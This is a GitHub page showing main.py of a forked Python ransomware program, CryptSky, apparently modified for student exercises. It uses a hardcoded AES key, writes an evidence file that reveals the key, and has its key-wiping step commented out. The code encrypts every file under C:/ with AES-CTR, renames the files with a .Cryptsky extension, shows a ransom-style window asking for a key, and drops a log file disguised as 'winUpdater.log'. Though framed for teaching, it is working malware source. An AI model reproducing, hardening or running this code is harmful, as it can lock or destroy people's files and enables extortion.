forked from deadPix3l/CryptSky
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
151 lines (130 loc) · 5.12 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#!/usr/bin/env python
from pathlib import Path
from Cryptodome.Cipher import AES
from Cryptodome.Util import Counter
import os
import discover
import modify
import tkinter
import threading
import time
# -----------------
# GLOBAL VARIABLES
# -----------------
# hardcoded key to make easier for students to decrypt
HARDCODED_KEY = 'yellow submarine'
# Can change to C:/ later to encrypt drive, but this is for testing
START_DIR = ['C:/']
# Path of evidence file dropped to disk
PATH = Path(r'C:/Windows/Temp/winUpdater.log')
class WindowThread(threading.Thread):
def run(self):
print("In Window Thread")
global root
root = tkinter.Tk()
frame = tkinter.Frame(root)
frame.grid()
frame.pack()
oops = tkinter.Label(frame, text="Oops... Looks like someone encrypted your files ¯\_(ツ)_/¯", font=('Helvetica', 20))
oops.pack()
# warning that if program closes early, one file will be in a partially encrypted limbo state
warning = tkinter.Label(root,
text="Do not close this program or turn off the VM "
"until this window says it is safe to do so... "
"\nor face (some) permanent damage.\n You have been warned\n"
"When encryption is complete, look for the key. "
"It's hidden somewhere on this system\n"
"This will most likely take a while... so be patient"
, font=('Helvetica', 20))
warning.pack()
label = tkinter.Label(frame, text="Enter the decryption key below", font=('Helvetica', 20))
label.pack()
e = tkinter.Entry(frame, width=20, font=('Helvetica', 20))
e.pack()
def callback():
bool = decrypt(e.get())
if bool:
exit()
else:
dline = tkinter.Label(frame, text="Incorrect Key", font=('Helvetica', 20))
dline.pack()
button = tkinter.Button(frame, text="Decrypt", font=('Helvetica', 20), width=10, command=callback)
button.pack()
root.mainloop()
pass
def decrypt(key):
if check_key(key):
l= tkinter.Label(root, text="This is the correct key. \n"
"Your files are being decrypted but it may take a while. Please wait...")
l.pack()
ctr = Counter.new(128)
crypt = AES.new(key.encode(), AES.MODE_CTR, counter=ctr)
startdirs = START_DIR
for currentDir in startdirs:
for file in discover.discoverFiles(currentDir):
(name, ext) = os.path.splitext(file)
if ext in '.Cryptsky':
try:
modify.modify_file_inplace(file, crypt.encrypt)
os.rename(file, name)
except IOError:
print("Error")
try:
print()
os.remove(r'C:\Windows\Temp\winUpdater.log')
except FileNotFoundError:
pass
label = tkinter.Label(root, text="Congratulations. Your files are now decrypted")
label.pack()
else:
return False
def check_key(key):
if key == HARDCODED_KEY:
print("Key Match")
return True
else:
print("Key no match")
return False
def main():
if PATH.is_file():
print("Already Encrypted :)")
window_thread = WindowThread()
window_thread.start()
time.sleep(10)
safe = tkinter.Label(root, text="It is now safe to stop execution of this program. "
"Hopefully you found the key ;)")
safe.pack()
else:
key = HARDCODED_KEY
ctr = Counter.new(128)
crypt = AES.new(key.encode(), AES.MODE_CTR, counter=ctr)
# change this to fit needs.
startdirs = START_DIR
# starts window so it appears while files are still being encrypted
window_thread = WindowThread()
window_thread.start()
# encrypt files
for currentDir in startdirs:
for file in discover.discoverFiles(currentDir):
try:
modify.modify_file_inplace(file, crypt.encrypt)
os.rename(file, file+'.Cryptsky') # append filename to indicate crypted
except IOError:
print("Error")
# write evidence file to disk
file = open(PATH, 'w+')
file.write("JBOOZ encrypted this with a custom version of CryptSky. "
"The key for this version is: yellow submarine") # you're welcome blue team ;)
file.close()
safe = tkinter.Label(root, text="It is now safe to stop execution of this program. "
"Hopefully you found the key ;)")
safe.pack()
''' # Taken out for Case Studies
# This wipes the key out of memory
# to avoid recovery by third party tools
for _ in range(100):
key = random(32)
pass
'''
if __name__=="__main__":
main()